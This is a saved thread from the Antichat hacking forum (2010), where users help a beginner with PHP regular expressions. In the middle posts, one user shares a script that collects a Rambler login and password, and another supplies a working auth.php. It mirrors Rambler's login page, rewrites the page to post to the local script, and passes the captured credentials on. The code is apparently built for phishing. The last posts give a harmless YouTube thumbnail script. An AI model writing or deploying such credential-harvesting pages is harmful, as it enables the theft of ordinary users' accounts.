ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14291  
Старый 14.01.2010, 23:00
Аватар для Mil-Net
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме:
367760

Репутация: 33
Отправить сообщение для Mil-Net с помощью ICQ
По умолчанию

Цитата:
Сообщение от mailbrush  
google.com -> Регулярные выражения
Хм оригинально)
Но я рыл уже там и норм статей описывающих функцию и как ее реализовать не нашол)
 
Ответить с цитированием

  #14292  
Старый 14.01.2010, 23:07
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

php.su/functions/?preg_match

PS: сначала синтаксис выучи (погугли, там на сайте phpclub.ru есть отличная статтейка), а потом функции учи...
 
Ответить с цитированием

  #14293  
Старый 14.01.2010, 23:15
Аватар для Mil-Net
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме:
367760

Репутация: 33
Отправить сообщение для Mil-Net с помощью ICQ
По умолчанию

Смотрел уже я это немогу понять принцип действия!
Понимаешь!
 
Ответить с цитированием

  #14294  
Старый 15.01.2010, 00:02
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от Mil-Net  
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
Я то понимаю, но ты не понимаешь Почитай еще раз... Я с первого раза понял все по статье с phpclub
 
Ответить с цитированием

  #14295  
Старый 15.01.2010, 00:14
Аватар для Mil-Net
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме:
367760

Репутация: 33
Отправить сообщение для Mil-Net с помощью ICQ
По умолчанию

Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс я_поиск", массив_с_результами_поиска)

Ну так не правильно
 
Ответить с цитированием

  #14296  
Старый 15.01.2010, 00:27
Аватар для GlooK
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме:
2310282

Репутация: 149
По умолчанию

Цитата:
Сообщение от Mil-Net  
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс я_поиск", массив_с_результами_поиска)

Ну так не правильно
В зависимости от того что тебе нужно, реализуется по разному:

1. Проверка, есть ли заданный текст в строке
PHP код:
if (preg_match('/name="passw" id="passw"/'$result) {да строка name="passw" id="passw" есть в переменной $result
но лучше
PHP код:
if (strstr($result'name="passw" id="passw"') {да строка name="passw" id="passw" есть в переменной $result
2. Поиск определенных данных из текста
PHP код:
preg_match('/name="passw" id="passw" value="(.*?)"/'$result$temp);
echo 
$temp[1]; // name="passw" id="passw" value="ЭТО ЗНАЧЕНИЕ ВЫВОДИТСЯ!" 

Последний раз редактировалось GlooK; 15.01.2010 в 00:29..
 
Ответить с цитированием

  #14297  
Старый 15.01.2010, 01:15
Аватар для Mil-Net
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме:
367760

Репутация: 33
Отправить сообщение для Mil-Net с помощью ICQ
По умолчанию

Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
PHP код:
<?php
 
function rambler_login($login,$passw)  
{  
$login urlencode($login);  
$passw urlencode($passw);

$ch curl_init ();

curl_setopt $ch CURLOPT_URL "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt $ch CURLOPT_HEADER );

curl_setopt($chCURLOPT_REFERER'http://id.rambler.ru/script/auth.cgi'); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1);  
curl_setopt($chCURLOPT_POSTFIELDS"login=$login&passw=$passw");
 
$res curl_exec($ch);

curl_close $ch );

if(
preg_match('/name="passw" id="passw" value="(.*?)"/'$res$s))
return 
$s[1];  
else return 
false
}

$email $_POST['login']; 
$password $_POST['passw']; 


if(!
rambler_login($email$password)) { 
        global 
$res;  
    } else { 
        echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>"
     } 
?>
 
Ответить с цитированием

  #14298  
Старый 15.01.2010, 02:24
Аватар для GlooK
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме:
2310282

Репутация: 149
По умолчанию

Цитата:
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
Тебе это нужно?

Файл: auth.php
PHP код:
<?php
### curl
function curl($url$post '') {
$ch curl_init();
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_TIMEOUT60);
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
$result curl_exec($ch); 
curl_close($ch);
return 
$result;}

### authorization
function authorization($login$passwd) {
$result curl('http://id.rambler.ru/script/auth.cgi?mode=login''login='.$login.'&passw='.$passwd);
if (
strstr($result'<p class="txt_error">') <> null) {
$result ereg_replace('href="/''href="http://id.rambler.ru/'$result);
$result ereg_replace('src="''src="http://id.rambler.ru'$result);
$result ereg_replace('auth.cgi''auth.php'$result);
echo 
$result;}
else {
header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}

### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {

$result curl('http://id.rambler.ru/script/auth.cgi');
$result ereg_replace('href="/''href="http://id.rambler.ru/'$result);
$result ereg_replace('src="''src="http://id.rambler.ru'$result);
$result ereg_replace('auth.cgi''auth.php'$result);
echo 
$result;}
?>
 
Ответить с цитированием

  #14299  
Старый 15.01.2010, 02:42
Аватар для REBUUS
REBUUS
Постоянный
Регистрация: 06.04.2009
Сообщений: 383
Провел на форуме:
1288105

Репутация: 328
По умолчанию

есть у кого ни будь скрипт пхп который с url из youtube на сайт добалял виде

ну я как бы все сам сделал уже, в базу все заносит , единственное что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
 
Ответить с цитированием

  #14300  
Старый 15.01.2010, 04:33
Аватар для GlooK
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме:
2310282

Репутация: 149
По умолчанию

Ну как бы пиктограмму можно тырить с:
Цитата:
http://i1.ytimg.com/vi/HASHVIDEO/2.jpg
Там, где HASHVIDEO - параметр v:
Цитата:
http://www.youtube.com/watch?v=Fuc1aH-BY2c
т.е. в данном случае
Цитата:
http://i1.ytimg.com/vi/Fuc1aH-BY2c/2.jpg
UPD:
В большом разрешении:
Цитата:
http://i3.ytimg.com/vi/Fuc1aH-BY2c/hqdefault.jpg
Скрипт:
PHP код:
<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD'$_POST['url'], $temp);
echo 
'<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo 
'<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>

Последний раз редактировалось GlooK; 15.01.2010 в 05:02..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ